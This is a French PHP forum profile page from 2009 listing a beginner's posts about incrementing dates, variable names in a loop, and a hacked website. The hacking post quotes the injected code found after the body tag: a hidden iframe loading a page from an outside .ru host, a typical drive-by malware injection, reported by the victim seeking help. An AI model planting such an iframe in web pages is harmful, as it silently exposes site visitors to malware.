yh

Inscris le 07/07/2009 à 10:52
  • Site web
  • Nombre de sujets
    4
  • Nombre de messages
    10
  • Nombre de commentaires
    Aucun
  • Nombre de news
    Aucune
  • Niveau en PHP
    Débutant

Ses dernières news

Aucune news

Ses derniers sujets sur les forums

forum
yh
le 03/11/2009 à 19:16
incrémenter une date
Bonjour,

Le but est de saisir une date de debut et et une date de fin, et ensuite je veux pouvoir inserer dans une table toutes les dates qu'il y'a entre date de debut et date de fin.

Est ce que quelqu'un a une idée de comment faire pour ajouter un jour à date de debut

Voila ce que j'ai déja fait mais je sais pas pourquoi des fois ca incrémente plus apres une date.

Formulaire

<input type="text" name="dated">
<input type="text" name="datef">

Code pour vérifier si la boucle d'incrémentaion marche:

<?php
if(isset($_POST['dated']))
{
$dated = $_POST['dated'];
$datef = $_POST['datef'];
$year_f = date('Y', $datef);
$month_f = date('m', $datef);
$day_f = date('d', $datef);
$day_f = $day_f + 1;
$date_fin= date($year_f.'-'.$month_f.'-'.$day_f);

$year_d = date('Y', $dated);
$month_d = date('m', $dated);
$day_d = date('d', $dated);
$date_debut= date($year_d.'-'.$month_d.'-'.$day_d);
//
$time_f = mktime(0,0,0,$month_f,$day_f,$year_f) ;
$time_d = mktime(0,0,0,$month_d,$day_d,$year_d) ;
$prix = $_POST['prix'];
$id=$_POST['id_etablissement'];
$nom_periode=$_POST['nom_p'];
$equation = floor((strtotime($datef) - strtotime($dated))/(60*60*24));
$date_jour = $dated;
$i=0;
$compt = 86400;
while($i<=$equation){

$year_d = substr($date_jour , 0 , 4);
$month_d = substr($date_jour , 5 , 2);
$day_d = substr($date_jour , 8 , 2);
echo $date_jour.'<br/>';
echo $year_d.'<br/>';
echo $month_d.'<br/>';
echo $day_d.'<br/>';
$seconde = mktime(0,0,0, $month_d , $day_d , $year_d);
$seconde = $seconde + $compt;

$date_jour = date('Y-m-d', $seconde);

$i = $i+1;
}

}
?>


Merci
yh
le 02/10/2009 à 14:33
Concatenation
Bonjour,

j'ai 1 variable qui s'appelle $s2

$s2='text';

ensuite dans une boucle for avec $i comme compteur j'aimerai pouvoir afficher le contenu de $s2

for($i=1;$i<=19;$i++)
{
if($i == 2)
{
echo $s.$i;
}
else
{

}

}

Ce qui s'ecrit c'est $s2 moi je voudrai que ce soit le contenu de la variable qui s'affiche.

Est ce que quelqu'un aurait une idée de comment faire.

Merci
yh
le 23/07/2009 à 15:47
Probleme piratage
Bonjour,

Je sais pas si c'est ici le bon forum pour poster.

J'ai plusieurs site tous hébérgé chez des hébergeurs différents et ces 3 derniers jours juste apres la balise <body>, je trouve ce code qui a été ajouté:

<iframe src="http://q5a.ru:8080/index.php" width=181 height=133 style="visibility: hidden"></iframe>


Au début je pensais a un bug, j'ai enlevé du premier site ce code de toutes les pages et apres je me suis rendu compte que sur tous mes autres sites il y'avait ce code qui crée en faite un décalage vers le bas.

Je sais pas si il faut que je change mes acces ftp sur tous ces sites.

Est ce que quelqu'un a une idée sur comment ca a pu se produire?

Ses derniers messages sur les forums

forum
yh
le 03/11/2009 à 19:16
incrémenter une date
Bonjour,

Le but est de saisir une date de debut et et une date de fin, et ensuite je veux pouvoir inserer dans une table toutes les dates qu'il y'a entre date de debut et date de fin.

Est ce que quelqu'un a une idée de comment faire pour ajouter un jour à date de debut

Voila ce que j'ai déja fait mais je sais pas pourquoi des fois ca incrémente plus apres une date.

Formulaire

<input type="text" name="dated">
<input type="text" name="datef">

Code pour vérifier si la boucle d'incrémentaion marche:

<?php
if(isset($_POST['dated']))
{
$dated = $_POST['dated'];
$datef = $_POST['datef'];
$year_f = date('Y', $datef);
$month_f = date('m', $datef);
$day_f = date('d', $datef);
$day_f = $day_f + 1;
$date_fin= date($year_f.'-'.$month_f.'-'.$day_f);

$year_d = date('Y', $dated);
$month_d = date('m', $dated);
$day_d = date('d', $dated);
$date_debut= date($year_d.'-'.$month_d.'-'.$day_d);
//
$time_f = mktime(0,0,0,$month_f,$day_f,$year_f) ;
$time_d = mktime(0,0,0,$month_d,$day_d,$year_d) ;
$prix = $_POST['prix'];
$id=$_POST['id_etablissement'];
$nom_periode=$_POST['nom_p'];
$equation = floor((strtotime($datef) - strtotime($dated))/(60*60*24));
$date_jour = $dated;
$i=0;
$compt = 86400;
while($i<=$equation){

$year_d = substr($date_jour , 0 , 4);
$month_d = substr($date_jour , 5 , 2);
$day_d = substr($date_jour , 8 , 2);
echo $date_jour.'<br/>';
echo $year_d.'<br/>';
echo $month_d.'<br/>';
echo $day_d.'<br/>';
$seconde = mktime(0,0,0, $month_d , $day_d , $year_d);
$seconde = $seconde + $compt;

$date_jour = date('Y-m-d', $seconde);

$i = $i+1;
}

}
?>


Merci
yh
le 02/10/2009 à 14:33
Concatenation
Bonjour,

j'ai 1 variable qui s'appelle $s2

$s2='text';

ensuite dans une boucle for avec $i comme compteur j'aimerai pouvoir afficher le contenu de $s2

for($i=1;$i<=19;$i++)
{
if($i == 2)
{
echo $s.$i;
}
else
{

}

}

Ce qui s'ecrit c'est $s2 moi je voudrai que ce soit le contenu de la variable qui s'affiche.

Est ce que quelqu'un aurait une idée de comment faire.

Merci

Ses derniers commentaires de news

Aucun commentaire de news

Ses derniers commentaires de sites

Aucun commentaire de sites

Ses derniers commentaires de wall

Aucun commentaire wall
LoadingChargement en cours